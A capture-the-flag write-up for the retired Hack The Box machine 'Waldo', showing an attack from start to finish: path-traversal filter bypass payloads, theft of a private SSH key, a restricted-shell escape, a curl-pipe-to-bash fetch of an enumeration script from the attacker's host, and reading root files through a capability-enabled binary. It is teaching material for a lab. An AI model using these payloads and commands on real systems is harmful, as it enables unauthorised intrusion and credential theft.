Skip to content

Latest commit

 

History

History
242 lines (191 loc) · 7.69 KB

write-up-waldo.md

File metadata and controls

242 lines (191 loc) · 7.69 KB

Waldo

This is the write-up for the box Waldo that got retired at the 15th December 2018. My IP address was 10.10.14.7 while I did this.

Let's put this in our hosts file:

10.10.10.87    waldo.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/waldo.nmap 10.10.10.87
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Checking HTTP (Port 80)

On the web page there is some kind of List Manager where it is possible to add and delete lists:

Waldo list manager

When intercepting the functionalities of the web page with any proxy tool like Burpsuite, it becomes clear that something happens in the background.

Action Response POST Data
Click on Delete to delete a list POST /fileDelete.php HTTP/1.1 listnum=1
Click on Add List to add a list POST /fileWrite.php HTTP/1.1 listnum=1&data=
After forwarding any delete or add function POST /dirRead.php HTTP/1.1 path=./.list/
Click on list name to read a list POST /fileRead.php HTTP/1.1 file=./.list/list1

So the lists come from the /.list directory, which returns a HTTP status code 403 Forbidden when browsing there manually. When trying to read /etc/passwd with a Directory Traversal attack it does not work, but as the fileRead.php file seems to read files on the server, we can try to read itself:

POST /fileRead.php HTTP/1.1
(...)
file=./fileRead.php

It works and outputs the contents of the PHP script. It is in JSON format and not good to read, but can be fixed with jq:

curl -s http://10.10.10.87/fileRead.php -d 'file=fileRead.php' | jq -r ."file"
<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
        $fileContent['file'] = false;
        header('Content-Type: application/json');
        if(isset($_POST['file'])){
                header('Content-Type: application/json');
                $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
                if(strpos($_POST['file'], "user.txt") === false){
                        $file = fopen("/var/www/html/" . $_POST['file'], "r");
                        $fileContent['file'] = fread($file,filesize($_POST['file']));  
                        fclose();
                }
        }
        echo json_encode($fileContent);
}\:

The str_replace is the reason why the Directory Traversal attack did not work, but this can by bypassed. It replaces "../" with nothing, so using "....//" instead, it will replace one "../" and leave one "../" behind, which results in a directory traversal:

POST /fileRead.php HTTP/1.1
(...)
file=....//....//....//etc/passwd

This works and outputs the contents of /etc/passwd and thus reading files on the box is possible.

As the dirRead.php reads directories from the box, the same attack can be done on this script to enumerate the system more.

POST /dirRead.php HTTP/1.1
(...)
path=.

This shows the contents of the current directory and there are all PHP scripts and some images which means we now have the capability to enumerate directories with dirRead.php and reading files with fileRead.php.

Enumerating the File System

Lets move up some directories until reaching the root (/) directory:

POST /dirRead.php HTTP/1.1
(...)
path=....//....//....//

This can also be done with curl for easier exploitation:

curl -s http://10.10.10.87/dirRead.php -d 'path=....//....//....//' | jq

It shows a default Linux file system tree with the only thing that is different is the .dockerenv directory, which means this is a Docker container.

There is one home directory of nobody with a .ssh directory:

curl -s http://10.10.10.87/dirRead.php -d 'path=....//....//....//home/nobody/.ssh' | jq
".monitor"
"authorized_keys"
"known_hosts"

Displaying the contents of .monitor:

curl -s http://10.10.10.87/fileRead.php -d 'file=....//....//....//home/nobody/.ssh/.monitor' | jq -r ."file"

It is a private SSH key, so lets try it out with the user nobody:

ssh -i nobody.key nobody@10.10.10.87

It works and we are logged in as nobody.

Privilege Escalation

This Docker container has two network interfaces:

  • docker0 IP: 172.17.0.1
  • enps33 IP: 10.10.10.87

When looking at the current connections with netstat -alnp, it shows that we are connected to port 8888:

tcp        0    148 10.10.10.87:8888        10.10.14.7:33462        ESTABLISHED -

So when we connected to SSH on 10.10.10.87:22, it routed us to 172.17.0.1:8888.

Looking at listening network services:

netstat -alnp | grep LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -

There is a connectivity between the container and the host as the SSH header is different from the initial header:

nc 10.10.10.87 22

SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3

The /home/nobody/.ssh/authorized_keys file shows that there is a user called monitor that can access the host with the key from before:

ssh -i .monitor monitor@127.0.0.1

This gives access into another box and greets us with a message that it is a Restricted Bash:

-rbash: alias: command not found

Escaping Restricted Shell

Lets look at the path what is possible to execute:

echo $PATH

/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1

Binaries in /home/monitor/bin:

  • ls, most, red, nano

In /home/monitor/app-dev/ is a binary logMonitor and the directory has the source code files for this binary.

-rwxrwx--- 1 app-dev monitor   13704 Jul 24  2018 logMonitor

It is writeable by the user app-dev and members of the group monitor. Lets check if our user is in the group:

rnano /etc/passwd

monitor:x:1001:1001:User
rnano /etc/group

monitor:x:1001:

The user is in the group and thus it is possible to rewrite the file with /bin/bash:

red /bin/bash

1099016
w app-dev/logMonitor
1099016
q

After executing logMonitor it executes bash and the restricted shell is escaped. Lets modify the PATH so system binaries can be used more comfortably:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Privilege Escalation to root

To get any attack surface, it is a good idea to run any Linux Enumeration Script on the box:

curl 10.10.14.7/LinEnum.sh | bash

After analyzing, there is a file that has Linux capabilities set:

/usr/bin/tac = cap_dac_read_search+ei

As the manual page describes the CAP_DAC_READ_SEARCH capability, the binary can do the following:

"Bypass file read permission checks and directory read and execute permission checks"

So it is possible to read root.txt!

/usr/bin/tac /root/root.txt